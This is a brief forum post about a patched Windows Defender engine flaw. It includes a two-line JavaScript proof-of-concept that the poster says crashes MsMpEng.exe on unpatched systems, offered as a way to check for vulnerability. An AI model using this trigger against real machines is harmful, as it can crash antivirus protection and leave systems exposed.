Windows releases a major bug fix

Well it appears you have to be using the windows malware protection with defender. Plus just assume computers aren't secure. Just ask the NSA

 

What's crazy is they've already patched it. You can verify you aren't affected by saving this as a .js file (or any extension for that matter). MsMpEng.exe should crash if you're still vulnerable.

Code:

var e = new Error();
e.toString.call({message : 7 });